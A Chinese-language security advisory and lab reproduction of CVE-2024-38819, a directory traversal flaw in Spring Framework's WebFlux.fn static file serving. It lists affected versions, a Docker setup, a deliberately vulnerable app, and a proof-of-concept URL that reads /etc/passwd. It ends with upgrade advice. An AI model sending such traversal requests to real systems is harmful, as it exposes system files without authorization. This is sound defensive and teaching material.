# Spring Framework 特定条件下目录遍历漏洞 CVE-2024-38819

## 漏洞描述

Spring 框架是 Java 平台的一个开源的全栈应用程序框架和控制反转容器实现。2024 年 10 月，Spring 官方发布公告披露 CVE-2024-38819 Spring Framework 特定条件下目录遍历漏洞。该漏洞类似 CVE-2024-38816，当 Spring 通过 WebMvc.fn 或者 WebFlux.fn 对外提供静态文件时，攻击者可构造恶意请求遍历读取系统上的文件。

参考链接：

- https://github.com/masa42/CVE-2024-38819-POC
- https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1
- https://spring.io/security/cve-2024-38819

## 漏洞影响

影响范围：

```
Spring Framework 5.3.0 - 5.3.40
Spring Framework 6.0.0 - 6.0.24
Spring Framework 6.1.0 - 6.1.13
其他更老或者官方已不支持的版本
```

安全版本：

```
Spring Framework 5.3.41
Spring Framework 6.0.25
Spring Framework 6.1.14
```

## 环境搭建

通过项目 [CVE-2024-38819-POC](https://github.com/masa42/CVE-2024-38819-POC) 搭建一个 Spring Boot 3.3.4（基于 Spring Framework 6.1.13） 漏洞环境：

```
git clone https://github.com/masa42/CVE-2024-38819-POC.git
cd vuln
docker build -t cve-2024-38819-poc .
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
```

Dockerfile

```
# Build stage
FROM gradle:7.6.1-jdk17 AS build

WORKDIR /home/gradle/project
COPY --chown=gradle:gradle . .

RUN gradle build --no-daemon

# Execution stage
FROM openjdk:17-jdk-slim

WORKDIR /app
COPY --from=build /home/gradle/project/build/libs/*.jar app.jar

# Directory for storing static files
RUN mkdir /static
# Root directory for FileSystemResource
RUN mkdir /app/static
# Symbolic link from the FileSystemResource directory to the static files directory
RUN ln -s /static /app/static/link

EXPOSE 8080

ENTRYPOINT ["java", "-jar", "app.jar"]
```

启动环境后，访问 `http://your-ip:8080` 即可，无主页，显示 404。

## 漏洞复现

构建一段代码，使 Spring Framework 通过 WebFlux.fn 提供静态文件访问功能。build.gradle 中的 `dependencies` 使用了 `spring-boot-starter-webflux`，表明这是一个基于 Spring WebFlux 的项目，而非传统的 `spring-boot-starter-web`。

build.gradle

```
plugins {
    id 'org.springframework.boot' version '3.3.4'
    id 'io.spring.dependency-management' version '1.0.15.RELEASE'
    id 'java'
}

group = 'com.example'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '17'

repositories {
    mavenCentral()
}

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-webflux:3.3.4'
}

tasks.named('test') {
    useJUnitPlatform()
}

bootJar {
    mainClass.set('com.example.PathTraversalDemoApplication')
}
```

./src/main/java/com/example/PathTraversalDemoApplication.java

```java
package com.example;

import org.springframework.core.SpringVersion;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@SpringBootApplication
public class PathTraversalDemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(PathTraversalDemoApplication.class, args);
    }

    @Bean
    public RouterFunction<ServerResponse> staticResourceRouter() {
        System.out.println("Spring Framework Version: " + SpringVersion.getVersion());
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
}
```

poc：

```
http://your-ip:8080/static/link/%2e%2e/etc/passwd
```

![](images/Spring%20Framework%20特定条件下目录遍历漏洞%20CVE-2024-38819/image-20241218103537736.png)

## 漏洞修复

1. 建议更新至最新版本。
2. 排查代码中是否有类似使用，结合实际情况可确认是否受影响。
